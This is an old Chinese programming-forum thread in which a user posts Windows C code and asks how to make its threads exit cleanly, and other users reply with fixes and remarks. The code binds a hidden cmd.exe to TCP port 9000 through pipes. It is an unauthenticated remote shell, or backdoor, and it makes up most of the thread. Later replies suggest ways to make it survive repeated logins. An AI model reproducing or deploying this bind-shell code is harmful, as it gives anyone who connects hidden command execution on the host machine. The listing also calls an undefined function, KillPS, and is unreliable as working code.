高分求救,这样的程序如何返回啊~~~~~??????

NOIR 2003-02-09 12:21:52
以下是我写的用管道绑定CMD到指定端口的程序,由于这是整合在我的一个项目里的一个功能所以我写的时侯给了他一个条件,当收到的字符为exitcmd时就退出这个管道,问题就出在
退出上了,我用了各种各样的方法就是没法让他 return返回,我的要求是返回不了也没事直接关了绑定cmd的子进程也可以,所以我试着调用了TerminateProcess和TerminateThread
都没用,当然exit(0)是可以退出的,不过会连我的程序一起退出(前面已说过这是整合在我的一个项目里的一个功能),现向大家求救,帮忙看看该怎么返回~~~~!!!!

#define BindPORT 9000
#include <stdio.h>
#include <winsock2.h>
//#pragma comment(lib, "ws2_32.lib")
//#pragma comment(dll,"kernel32.dll")
SOCKET ServerSocket = INVALID_SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;
u_char varA,varB;int login=1;
PROCESS_INFORMATION processinfo;
DWORD dwThreadIdA,dwThreadIdB;
HANDLE A ,B;
//---------------------------------------------------------------------------
// BindCmd--ThreadFunc
// 绑定CMD时用到的线程函数
//---------------------------------------------------------------------------
DWORD WINAPI ThreadFuncA( LPVOID lpParam )//第一个管道
{
SECURITY_ATTRIBUTES pipeattr;
DWORD nByteToWrite, nByteWritten;
char recv_buff[1024];
ZeroMemory(recv_buff,1024);

pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadPipe,//管道的读句柄
&hWriteFile,//管道的写句柄
&pipeattr,
0);//p658,管道的读写句柄通常被WriteFile和ReadFile使用

varA = 1;
while(login==1)
{
Sleep(250);
nByteToWrite = recv(ClientSocket,
recv_buff,
1024,
0);

if((lstrcmp(recv_buff,"exitcmd\n"))==0)
{
login=0;
closesocket(ClientSocket);
closesocket(ServerSocket);
CloseHandle(hReadPipe);
CloseHandle(hWritePipe);
CloseHandle(hWriteFile);
CloseHandle(hReadFile);
TerminateThread(A,1);
ExitThread(1);
return(0);
//exit(0);
}
WriteFile(hWriteFile,//用管道的写句柄写入数据
recv_buff,
nByteToWrite,
&nByteWritten,
NULL);
ZeroMemory(recv_buff,1024);
}
return 0;
}

DWORD WINAPI ThreadFuncB( LPVOID lpParam ) //第二个管道
{
SECURITY_ATTRIBUTES pipeattr;
DWORD len;
char send_buff[25000];

pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;

if(login==0)
{ login=0;
closesocket(ClientSocket);
closesocket(ServerSocket);
CloseHandle(hReadPipe);
CloseHandle(hWritePipe);
CloseHandle(hWriteFile);
CloseHandle(hReadFile);
TerminateThread(B,1);
KillPS(processinfo.dwProcessId);
ExitThread(1);
return(0);
}

CreatePipe(&hReadFile,//管道的读句柄
&hWritePipe,//管道的写句柄
&pipeattr,
0);

varB = 1;
while (login==1)
{
ReadFile(hReadFile,//用管道的读句柄读入数据
send_buff,
25000,
&len,
NULL);
send(ClientSocket,
send_buff,
len,
0);
}
return 0;
}
//---------------------------------------------------------------------------
// BindCmd
// 绑定CMD
//---------------------------------------------------------------------------
void main()
{
WSADATA WSAData;
struct sockaddr_in RemoteAddr;
int nRetCode;

OSVERSIONINFO osvi;
STARTUPINFO startinfo;

WSAStartup(MAKEWORD(2,2),&WSAData);
ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
RemoteAddr.sin_family = AF_INET;
RemoteAddr.sin_port = htons(BindPORT);
RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;

if(login==0)
{ closesocket(ClientSocket);
closesocket(ServerSocket);
CloseHandle(hReadPipe);
CloseHandle(hWritePipe);
CloseHandle(hWriteFile);
CloseHandle(hReadFile);
KillPS(processinfo.dwProcessId);
return;
}

bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));
listen(ServerSocket, 5);

varA = 0;
varB = 0;

if(login==0)
{ closesocket(ClientSocket);
closesocket(ServerSocket);
CloseHandle(hReadPipe);
CloseHandle(hWritePipe);
CloseHandle(hWriteFile);
CloseHandle(hReadFile);
KillPS(processinfo.dwProcessId);
return;
}
A=CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);
B=CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);

if(login==0)
{ closesocket(ClientSocket);
closesocket(ServerSocket);
CloseHandle(hReadPipe);
CloseHandle(hWritePipe);
CloseHandle(hWriteFile);
CloseHandle(hReadFile);
KillPS(processinfo.dwProcessId);
return;
}

do{
Sleep(250);
}while((varA || varB) == 0);

GetStartupInfo(&startinfo);
startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
//指出要设定窗口的显示方式|设定标准输入,输出,错勿句柄
startinfo.hStdInput = hReadPipe;//标准输入句柄
startinfo.hStdError = hWritePipe;//标准输出句柄
startinfo.hStdOutput = hWritePipe;//标准错勿句柄
startinfo.wShowWindow = SW_HIDE;//窗口的显示方式

osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

GetVersionEx(&osvi);
char szAPP[256];
GetSystemDirectory(szAPP,MAX_PATH+1);

if(osvi.dwPlatformId == 2)
{
strcat(szAPP,"\\cmd.exe");
if (CreateProcess(szAPP,//此处指定了要执行的模块
NULL, NULL, NULL, TRUE, 0, NULL, NULL,
&startinfo, &processinfo) == 0)//p667创建新进程,新进程执行指定的可执行文件
{
//printf ("CreateProcess Error!\n");
return ;
}
}
else
{
strcat(szAPP,"\\command.exe");
CreateProcess(NULL,//此处为NULL,则模块名是szAPP中的
szAPP,
0,
0,
true,
0,
0,
0,
&startinfo,
&processinfo);
}

while (login==1)
{
ClientSocket = accept(ServerSocket, NULL, NULL);
Sleep(250);
}
if(login==0)
{ CloseHandle(hReadPipe);
CloseHandle(hWritePipe);
CloseHandle(hWriteFile);
CloseHandle(hReadFile);
return;
}
}
...全文
47 10 打赏 收藏 转发到动态 举报
写回复
用AI写文章
10 条回复
切换为时间正序
请发表友善的回复…
发表回复
yanhuahui 2003-02-11
  • 打赏
  • 举报
回复
up
liux330 2003-02-11
  • 打赏
  • 举报
回复
不懂学习!
yesry 2003-02-11
  • 打赏
  • 举报
回复
if((lstrcmp(recv_buff,"exitcmd\n"))==0)
{
login=0;
closesocket(ClientSocket);
closesocket(ServerSocket);
CloseHandle(hReadPipe);
CloseHandle(hWritePipe);
CloseHandle(hWriteFile);
CloseHandle(hReadFile);


//添加
WriteFile(hWriteFile,//用管道的写句柄写入数据
"exit\n",
5,
&nByteWritten,
NULL);



TerminateThread(A,1);
ExitThread(1);
return(0);
//exit(0);
}
netsys2 2003-02-11
  • 打赏
  • 举报
回复
收藏
cscer 2003-02-11
  • 打赏
  • 举报
回复
呵呵~~

被我捡了一个便宜!

学习!感谢!
shclhs 2003-02-11
  • 打赏
  • 举报
回复
学习
NOIR 2003-02-10
  • 打赏
  • 举报
回复
对了~~!!!
剩下的来者有分哦~~~~~!!!!!
NOIR 2003-02-10
  • 打赏
  • 举报
回复
呵呵~!!!
NowCan好眼力啊~~~!!!!!
没错,这里我已经搞定了~~~!!!
不过不是像你说的那样不停的建CMD,我直接用了并行线程,用完了就强行KILL了那个线程
NowCan 2003-02-10
  • 打赏
  • 举报
回复
哈,这个程序好熟啊。就是那个telnet服务器。
但是原来程序写的不好,一个用户登陆后再退出,这个服务器就死了。原因在于listen之后建立进程cmd,然后就一直在循环accept,而这里第二个用户登陆后就不能再建立进程cmd了,所以我认为要将建立cmd进程这部分放到一个线程里去。每次accept之后就建立线程,在这个线程里建立cmd进程。
NOIR 2003-02-09
  • 打赏
  • 举报
回复
呵呵,
lstrcmp(recv_buff,"exitcmd\n"))==0这里没错,可以执行的,不信你在后面加上一句exit(0)试试~~~!!!!是可以退出的,

恩,可能说的不是很清楚,我是要求能让这个函数返回,实际上在我的项目中我可以调用这个功能,不过结果是我一但让程序进入了这个模块那么就一直在这个模块的管道中了,也就是进去了就出不来了,所以我想让这个模块返回~~~~!!!!!

1,317

社区成员

发帖
与我相关
我的任务
社区描述
C++ Builder 网络及通讯开发
社区管理员
  • 网络及通讯开发社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧